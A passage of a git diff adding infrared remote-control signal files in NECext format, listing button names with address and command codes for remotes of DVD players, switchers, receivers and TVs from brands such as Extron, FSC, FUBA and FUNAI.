00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 0F 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 11 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 15 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 16 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 17 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 1D 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 1E 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 40 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 41 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 42 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 45 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 46 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 47 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 4A 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 4B 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 4C 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 4D 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 4E 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 4F 00 00 00 +# +name: STEP_SLOW_<< +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 50 00 00 00 +# +name: STEP_SLOW_>> +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 51 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 52 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 53 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 54 00 00 00 +# +name: ENTER_SELECT +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 55 00 00 00 +# +name: SEARCH_MODE +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 59 00 00 00 +# +name: FL_DIMMER +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 5A 00 00 00 +# +name: FUNCTION_MEMORY +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 5B 00 00 00 +# +name: LAST_MEMORY +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 5C 00 00 00 +# +name: CONDITION_MEMORY +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 5D 00 00 00 +# +name: VIDEO_OFF +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Euroconsumers/Unknown_LG-5988/136,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Euroconsumers/Unknown_LG-5988/136,-1.ir new file mode 100644 index 000000000..82e5299fc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Euroconsumers/Unknown_LG-5988/136,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 00 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 01 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 02 00 00 00 +# +name: f.bwd +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 03 00 00 00 +# +name: tvsys +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 04 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 05 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 06 00 00 00 +# +name: f.fwd +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 07 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 08 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 09 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 0A 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 0C 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 0D 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 0E 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 0F 00 00 00 +# +name: tvmode +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 10 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 11 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 12 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 13 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 14 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 15 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 16 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 17 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 19 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 1A 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 1B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 1C 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 1E 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 1F 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 40 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 42 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 43 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 48 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 49 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 4C 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 4E 00 00 00 +# +name: digest +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 54 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 57 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 58 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 5C 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 5E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Expressvu/Unknown_3100/0,0.ir b/assets/resources/infrared/_CSV-IRDB_/Expressvu/Unknown_3100/0,0.ir new file mode 100644 index 000000000..2a338c507 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Expressvu/Unknown_3100/0,0.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Extron/Switcher/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Extron/Switcher/0,-1.ir new file mode 100644 index 000000000..465406e7c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Extron/Switcher/0,-1.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Extron/Switcher/128,84.ir b/assets/resources/infrared/_CSV-IRDB_/Extron/Switcher/128,84.ir new file mode 100644 index 000000000..92e942716 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Extron/Switcher/128,84.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: 6 +type: parsed +protocol: NECext +address: 80 54 00 00 +command: 00 00 00 00 +# +name: DISPLAY/POWER +type: parsed +protocol: NECext +address: 80 54 00 00 +command: 01 00 00 00 +# +name: DISPLAY/MUTE +type: parsed +protocol: NECext +address: 80 54 00 00 +command: 02 00 00 00 +# +name: RGB/MUTE +type: parsed +protocol: NECext +address: 80 54 00 00 +command: 03 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 80 54 00 00 +command: 07 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 80 54 00 00 +command: 08 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 80 54 00 00 +command: 09 00 00 00 +# +name: AUDIO/MUTE +type: parsed +protocol: NECext +address: 80 54 00 00 +command: 0A 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 80 54 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 80 54 00 00 +command: 0D 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 80 54 00 00 +command: 0E 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 80 54 00 00 +command: 11 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 80 54 00 00 +command: 12 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 80 54 00 00 +command: 15 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 80 54 00 00 +command: 18 00 00 00 +# +name: FUNCTION +type: parsed +protocol: NECext +address: 80 54 00 00 +command: 19 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/FSC/DVD Player/4,15.ir b/assets/resources/infrared/_CSV-IRDB_/FSC/DVD Player/4,15.ir new file mode 100644 index 000000000..2749a62d4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/FSC/DVD Player/4,15.ir @@ -0,0 +1,308 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 09 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0A 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0B 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0C 00 00 00 +# +name: WINDOWS_MC +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0D 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0E 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0F 00 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 10 00 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 11 00 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 12 00 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 13 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 14 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 14 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 14 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 15 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 15 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 15 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 16 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 17 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 18 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 19 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1A 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1B 00 00 00 +# +name: CURSOR_OBEN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1E 00 00 00 +# +name: CURSOR_UNTEN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1F 00 00 00 +# +name: CURSOR_LINKS +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 20 00 00 00 +# +name: CURSOR_RECHTS +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 21 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 22 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 23 00 00 00 +# +name: DVD_MENUE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 24 00 00 00 +# +name: LIVE_TV +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 25 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 26 00 00 00 +# +name: MY_TV +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 46 00 00 00 +# +name: MY_MUSIC +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 47 00 00 00 +# +name: RECORDED_TV +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 48 00 00 00 +# +name: MY_PICTURES +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 49 00 00 00 +# +name: MY_VIDEOS +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 4A 00 00 00 +# +name: TELETEXT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5A 00 00 00 +# +name: ROT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5B 00 00 00 +# +name: GRUEN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5C 00 00 00 +# +name: GELB +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5D 00 00 00 +# +name: BLAU +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/FTE Maximal/Unknown_FTE/73,-1.ir b/assets/resources/infrared/_CSV-IRDB_/FTE Maximal/Unknown_FTE/73,-1.ir new file mode 100644 index 000000000..19b8a9a2c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/FTE Maximal/Unknown_FTE/73,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 00 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 04 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 07 00 00 00 +# +name: FREQ +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 08 00 00 00 +# +name: DEV +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 09 00 00 00 +# +name: STEP_DOWN +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 0A 00 00 00 +# +name: STEP_UP +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 0B 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 0C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 0D 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 0E 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 0F 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 10 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 11 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 12 00 00 00 +# +name: A.MODE +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 13 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 14 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 15 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 16 00 00 00 +# +name: POLARITY +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 17 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 19 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 1B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/FUBA/Unknown_ALPS/134,75.ir b/assets/resources/infrared/_CSV-IRDB_/FUBA/Unknown_ALPS/134,75.ir new file mode 100644 index 000000000..a45c1ae63 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/FUBA/Unknown_ALPS/134,75.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 03 00 00 00 +# +name: COPY +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 04 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 06 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 07 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 08 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 0A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 0B 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 0C 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 0D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 0E 00 00 00 +# +name: ERASE +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 0F 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 10 00 00 00 +# +name: SELECT_UP +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 12 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 13 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 14 00 00 00 +# +name: SELECT_DOWN +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 15 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 16 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 17 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 18 00 00 00 +# +name: TV/AV +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 19 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/FUBA/Unknown_FUBA/134,75.ir b/assets/resources/infrared/_CSV-IRDB_/FUBA/Unknown_FUBA/134,75.ir new file mode 100644 index 000000000..91d8ddf1f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/FUBA/Unknown_FUBA/134,75.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 03 00 00 00 +# +name: copy +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 04 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 06 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 07 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 08 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 0A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 0B 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 0C 00 00 00 +# +name: store +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 0D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 0E 00 00 00 +# +name: erase +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 0F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 11 00 00 00 +# +name: sel+ +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 12 00 00 00 +# +name: tune+ +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 13 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 14 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 15 00 00 00 +# +name: sel- +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 16 00 00 00 +# +name: tune- +type: parsed +protocol: NECext +address: 86 4B 00 00 +command: 17 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/FUNAI/Unknown_NF021RD/132,224.ir b/assets/resources/infrared/_CSV-IRDB_/FUNAI/Unknown_NF021RD/132,224.ir new file mode 100644 index 000000000..36146899a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/FUNAI/Unknown_NF021RD/132,224.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 09 00 00 00 +# +name: KEY_STANDBYON +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 20 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 22 00 00 00 +# +name: KEY_COLORSYSTEM +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 2E 00 00 00 +# +name: KEY_INPUTSELECT +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 40 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 50 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 51 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 60 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 61 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 64 00 00 00 +# +name: KEY_SOUNDSELECT +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 65 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 70 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 73 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 84 E0 00 00 +command: 74 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext 